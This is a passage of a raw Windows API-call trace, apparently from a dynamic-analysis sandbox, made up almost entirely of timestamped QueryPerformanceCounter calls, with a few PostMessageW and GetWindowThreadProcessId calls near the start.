PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe983e9a, lParam=0x3d09) returned 1 [0241.556] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24485880853) returned 1 [0241.587] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24488975352) returned 1 [0241.587] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.587] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe98b899, lParam=0x3d09) returned 1 [0241.587] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24489005394) returned 1 [0241.618] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24492100555) returned 1 [0241.618] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.619] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe9932ad, lParam=0x3d09) returned 1 [0241.619] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24492125851) returned 1 [0241.639] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24494137713) returned 1 [0241.639] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.639] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe998241, lParam=0x3d09) returned 1 [0241.639] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24494173187) returned 1 [0241.665] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24496794929) returned 1 [0241.665] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.666] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe99ea0d, lParam=0x3d09) returned 1 [0241.666] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24496830689) returned 1 [0241.681] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24498367508) returned 1 [0241.681] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.681] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe9a277b, lParam=0x3d09) returned 1 [0241.681] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24498394552) returned 1 [0241.696] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24499915466) returned 1 [0241.697] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.697] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe9a63f2, lParam=0x3d09) returned 1 [0241.697] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24499944806) returned 1 [0241.728] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24503048252) returned 1 [0241.728] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.728] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xe9ade52, lParam=0x3d09) returned 1 [0241.728] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24503081598) returned 1 [0241.743] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24504612621) returned 1 [0241.744] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24504626621) returned 1 [0241.775] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24507724072) returned 1 [0241.775] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24507739611) returned 1 [0241.793] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24509523228) returned 1 [0241.793] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24509538141) returned 1 [0241.806] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24510848521) returned 1 [0241.806] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24510863843) returned 1 [0241.822] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24512419252) returned 1 [0241.822] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24512433786) returned 1 [0241.853] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24515553266) returned 1 [0241.853] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24515568715) returned 1 [0241.884] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24518658100) returned 1 [0241.884] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24518671928) returned 1 [0241.900] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24520274841) returned 1 [0241.900] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24520287450) returned 1 [0241.932] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24523510457) returned 1 [0241.933] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24523522990) returned 1 [0241.962] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24526484232) returned 1 [0241.962] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24526497764) returned 1 [0241.978] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24528032794) returned 1 [0241.978] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24528044960) returned 1 [0242.009] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24531184061) returned 1 [0242.009] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24531197985) returned 1 [0242.040] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24534308744) returned 1 [0242.041] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24534323447) returned 1 [0242.072] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24537429263) returned 1 [0242.072] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24537442236) returned 1 [0242.087] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24538970994) returned 1 [0242.087] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24538982064) returned 1 [0242.119] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24542180325) returned 1 [0242.119] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24542195029) returned 1 [0242.134] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24543663779) returned 1 [0242.134] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24543679201) returned 1 [0242.166] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24546910655) returned 1 [0242.167] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24546924915) returned 1 [0242.196] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24549916198) returned 1 [0242.197] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24549931182) returned 1 [0242.259] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24556180618) returned 1 [0242.259] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24556195156) returned 1 [0242.260] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24556220583) returned 1 [0242.260] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24556229325) returned 1 [0242.275] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24557733105) returned 1 [0242.275] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24557744754) returned 1 [0242.306] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24560860922) returned 1 [0242.306] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24560875399) returned 1 [0242.337] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24564005564) returned 1 [0242.338] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24564020310) returned 1 [0242.353] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24565604173) returned 1 [0242.354] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24565618837) returned 1 [0242.417] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24571993548) returned 1 [0242.417] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24572008267) returned 1 [0242.418] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24572034279) returned 1 [0242.418] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24572043176) returned 1 [0242.447] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24574944594) returned 1 [0242.447] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24574958068) returned 1 [0242.462] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24576495374) returned 1 [0242.462] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24576510183) returned 1 [0242.493] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24579605308) returned 1 [0242.494] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24579619726) returned 1 [0242.525] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24582735356) returned 1 [0242.525] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24582748160) returned 1 [0242.540] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24584288229) returned 1 [0242.540] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24584303396) returned 1 [0242.571] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24587414022) returned 1 [0242.572] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24587429117) returned 1 [0242.603] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24590532650) returned 1 [0242.603] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24590546400) returned 1 [0242.618] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24592108814) returned 1 [0242.619] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24592123686) returned 1 [0242.634] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24593673377) returned 1 [0242.634] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24593686696) returned 1 [0242.665] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24596808922) returned 1 [0242.666] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24596822490) returned 1 [0242.696] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24599911476) returned 1 [0242.697] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24599926865) returned 1 [0242.712] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24601479790) returned 1 [0242.712] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24601493468) returned 1 [0242.744] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24604698553) returned 1 [0242.744] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24604712118) returned 1 [0242.775] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24607764597) returned 1 [0242.775] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24607779612) returned 1 [0242.806] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24610855559) returned 1 [0242.806] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24610868252) returned 1 [0242.837] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24613978919) returned 1 [0242.837] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24613992205) returned 1 [0242.868] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24617110010) returned 1 [0242.869] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24617124620) returned 1 [0242.900] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24620235527) returned 1 [0242.900] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24620248598) returned 1 [0242.931] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24623348568) returned 1 [0242.931] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24623360705) returned 1 [0242.962] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24626481495) returned 1 [0242.962] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24626493888) returned 1 [0242.978] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24628026410) returned 1 [0242.978] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24628035736) returned 1 [0242.994] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24629621030) returned 1 [0242.994] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24629631343) returned 1 [0243.025] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24632733823) returned 1 [0243.025] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24632746855) returned 1 [0243.046] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24634905283) returned 1 [0243.047] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24634921090) returned 1 [0243.056] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24635890462) returned 1 [0243.056] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24635905815) returned 1 [0244.744] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24804680487) returned 1 [0244.744] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24804697112) returned 1 [0244.794] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24809631202) returned 1 [0244.794] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24809646106) returned 1 [0244.794] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24809673373) returned 1 [0244.794] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24809682305) returned 1 [0244.806] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24811000838) returned 1 [0244.808] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24811017399) returned 1 [0244.821] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24812409654) returned 1 [0244.822] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24812423448) returned 1 [0244.853] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24815567965) returned 1 [0244.853] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24815584076) returned 1 [0244.883] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24818591505) returned 1 [0244.883] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24818607277) returned 1 [0244.905] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24820765915) returned 1 [0244.905] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24820777442) returned 1 [0244.939] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24824146261) returned 1 [0244.939] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24824162179) returned 1 [0245.442] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24874419345) returned 1 [0245.442] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24874434968) returned 1 [0245.443] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24874614804) returned 1 [0245.444] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24874626629) returned 1 [0245.467] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24876966679) returned 1 [0245.467] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24876982572) returned 1 [0245.484] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24878704396) returned 1 [0245.485] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24878720036) returned 1 [0245.514] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24881662790) returned 1 [0245.514] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24881678408) returned 1 [0245.575] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24887718269) returned 1 [0245.575] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24887733841) returned 1 [0245.575] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24887760738) returned 1 [0245.575] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24887769884) returned 1 [0245.592] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24889460774) returned 1 [0245.592] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24889475734) returned 1 [0245.623] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24892584861) returned 1 [0245.623] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24892600270) returned 1 [0245.655] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24895723862) returned 1 [0245.655] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24895739532) returned 1 [0245.686] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24898861462) returned 1 [0245.686] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24898878676) returned 1 [0245.717] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24901960924) returned 1 [0245.717] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24901976339) returned 1 [0245.748] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24905112084) returned 1 [0245.749] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24905128119) returned 1 [0245.764] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24906656694) returned 1 [0245.764] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24906672131) returned 1 [0245.795] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24909772512) returned 1 [0245.795] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24909788132) returned 1 [0245.826] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24912913489) returned 1 [0245.827] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24912929065) returned 1 [0245.858] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24916024214) returned 1 [0245.858] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24916039353) returned 1 [0245.873] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24917592580) returned 1 [0245.873] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24917607349) returned 1 [0245.889] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24919176316) returned 1 [0245.889] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24919190446) returned 1 [0245.920] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24922271112) returned 1 [0245.920] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24922286160) returned 1 [0245.937] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24923943598) returned 1 [0245.937] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24923958929) returned 1 [0245.967] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24926990939) returned 1 [0245.967] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24927006201) returned 1 [0245.998] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24930094987) returned 1 [0245.998] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24930109408) returned 1 [0246.438] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24974060883) returned 1 [0246.438] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24974074721) returned 1 [0246.469] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24977140881) returned 1 [0246.469] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24977155878) returned 1 [0246.499] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24980124463) returned 1 [0246.499] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24980139220) returned 1 [0246.530] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24983245172) returned 1 [0246.530] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24983259671) returned 1 [0246.546] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24984859416) returned 1 [0246.546] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24984874297) returned 1 [0246.561] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24986381177) returned 1 [0246.561] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24986395827) returned 1 [0246.592] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24989496804) returned 1 [0246.592] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24989511589) returned 1 [0246.623] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24992597436) returned 1 [0246.623] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24992612245) returned 1 [0246.645] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24994804407) returned 1 [0246.646] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24994819858) returned 1 [0246.661] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24996346059) returned 1 [0246.661] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24996361183) returned 1 [0246.692] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24999456343) returned 1 [0246.692] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=24999470647) returned 1 [0246.708] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25001027514) returned 1 [0246.708] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25001042587) returned 1 [0246.723] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25002585775) returned 1 [0246.723] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25002600835) returned 1 [0246.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25005728750) returned 1 [0246.755] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25005742481) returned 1 [0246.770] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25007279345) returned 1 [0246.770] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=25007294367) returned 1 [0246.786] 